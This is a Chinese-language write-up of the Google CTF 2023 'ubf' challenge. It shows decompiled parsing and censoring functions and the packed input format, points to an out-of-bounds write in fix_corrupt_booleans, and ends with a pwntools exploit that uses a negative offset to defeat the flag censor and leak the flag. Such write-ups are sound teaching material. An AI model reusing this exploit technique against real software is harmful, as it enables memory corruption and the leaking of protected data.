2023-googlectf-ubf复现


Unnecessary binary format(不必要的二进制格式)是指在计算机科学和软件工程中,存在着冗余或不必要的二进制数据表示形式。这种形式可能会导致资源浪费、性能下降或代码复杂化。

本题对不同类型的数据规定了不同的输入格式

char *__fastcall strs_tostr(UNPACK *a1, char *a2, unsigned __int64 a3)
{
  char *s; // [rsp+10h] [rbp-30h]
  char *sa; // [rsp+10h] [rbp-30h]
  char *mem; // [rsp+28h] [rbp-18h]
  int i; // [rsp+34h] [rbp-Ch]
  char *content; // [rsp+38h] [rbp-8h]

  s = &a2[snprintf(a2, a3 - a2, "str [")];
  if ( s >= a3 )
    return 0LL;
  mem = a1->mem;
  content = &mem[a1->offset];
  for ( i = 0; i < a1->len; ++i )
  {
    censor_string(content, *&mem[2 * i]);
    s += snprintf(s, a3 - s, "%s, ", content);
    if ( s >= a3 )
      return 0LL;
    content += *&mem[2 * i] + 1;
  }
  if ( a1->len > 0 )
    s -= 2;
  sa = &s[snprintf(s, a3 - s, "]; ")];
  if ( sa < a3 )
    return sa;
  else
    return 0LL;
}
char *__fastcall bools_tostr(UNPACK *a1, char *a2, unsigned __int64 a3)
{
  char v4; // al
  char *s; // [rsp+10h] [rbp-30h]
  char *sa; // [rsp+10h] [rbp-30h]
  char *mem; // [rsp+30h] [rbp-10h]
  int i; // [rsp+3Ch] [rbp-4h]

  s = &a2[snprintf(a2, a3 - a2, "bool [")];
  if ( s >= a3 )
    return 0LL;
  mem = a1->mem;
  for ( i = 0; i < a1->len; ++i )
  {
    if ( mem[i] )
      v4 = 'T';
    else
      v4 = 'F';
    s += snprintf(s, a3 - s, "%c, ", v4);
    if ( s >= a3 )
      return 0LL;
  }
  if ( a1->len > 0 )
    s -= 2;
  sa = &s[snprintf(s, a3 - s, "]; ")];
  if ( sa < a3 )
    return sa;
  else
    return 0LL;
}
char *__fastcall ints_tostr(UNPACK *a1, char *a2, unsigned __int64 a3)
{
  char *s; // [rsp+10h] [rbp-20h]
  char *sa; // [rsp+10h] [rbp-20h]
  char *mem; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  s = &a2[snprintf(a2, a3 - a2, "int [")];
  if ( s >= a3 )
    return 0LL;
  mem = a1->mem;
  for ( i = 0; i < a1->len; ++i )
  {
    s += snprintf(s, a3 - s, "%d, ", *&mem[4 * i]);
    if ( s >= a3 )
      return 0LL;
  }
  if ( a1->len > 0 )
    s -= 2;
  sa = &s[snprintf(s, a3 - s, "]; ")];
  if ( sa < a3 )
    return sa;
  else
    return 0LL;
}
  • 1.string
    |4byte total_len | 1byte type s | 2byte count | 2bytes count*2 | 2byte data ..

  • 2.bool
    |4byte size| 1byte type b | 2byte count | 2byte start_idx | bools

  • 3.int
    |4byte size| 1byte type i | 2byte count | 2byte smt | ints...

题目开始会将/flag载入全局变量,输入string类型的$FLAG即可将flag载入并替换

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  if ( !set_env_from_file("FLAG", "/flag") || !set_env_from_file("MOTD", "/motd") || !set_env_from_file("TEAM", "/team") )
    return -1;
  ...
}
__int64 __fastcall set_env_from_file(const char *a1, const char *a2)
{
  char s[8]; // [rsp+10h] [rbp-210h] BYREF
  __int64 v4; // [rsp+18h] [rbp-208h]
  char v5[496]; // [rsp+20h] [rbp-200h] BYREF
  int v6; // [rsp+214h] [rbp-Ch]
  FILE *stream; // [rsp+218h] [rbp-8h]

  stream = fopen(a2, "r");
  *s = 0LL;
  v4 = 0LL;
  memset(v5, 0, sizeof(v5));
  if ( stream && fgets(s, 512, stream) )
  {
    v6 = strlen(s) - 1;
    if ( s[v6] == '\n' )
      s[v6] = 0;
    setenv(a1, s, 1);
    return 1LL;
  }
  else
  {
    printf("Error reading %s\n", a2);
    return 0LL;
  }
}

按规定格式输入之后会进行一系列的解码,再输出相应的内容,但是检测到输出内容含有CTF{会将后续内容替换成xxxx,因此需要将这个头改成其他的绕过检测

void __fastcall censor_string(char *a1, int a2)
{
  if ( a2 > 5 && *a1 == 'C' && a1[1] == 'T' && a1[2] == 'F' && a1[3] == '{' )
    memset(a1 + 4, 'X', a2 - 5);
}

漏洞点在修复损坏的布尔类型的函数中存在数组越界

void __fastcall fix_corrupt_booleans(UNPACK *string)
{
  unsigned __int64 v1; // [rsp+10h] [rbp-18h]
  char *v2; // [rsp+18h] [rbp-10h]
  int i; // [rsp+24h] [rbp-4h]

  v2 = &string->mem[string->offset];            // vuln
  v1 = &string->mem[string->size];
  for ( i = 0; i < string->len && &v2[i] < v1; ++i )
    v2[i] = v2[i] != 0;
}

exp:

from pwn import *
from base64 import *

#context.terminal = ['tmux','splitw','-h']

r = process("./ubf")

def dbg():
    gdb.attach(r)

payload = p32(0x40) + b's' + p16(1) + p16(2) + p16(5) + b"$FLAG"
payload += p32(0x50) + b'b' + p16(2) + p16(-126&0xffff) + p16(0)

payload = b64encode(payload)
r.sendline(payload)

r.interactive()

  目录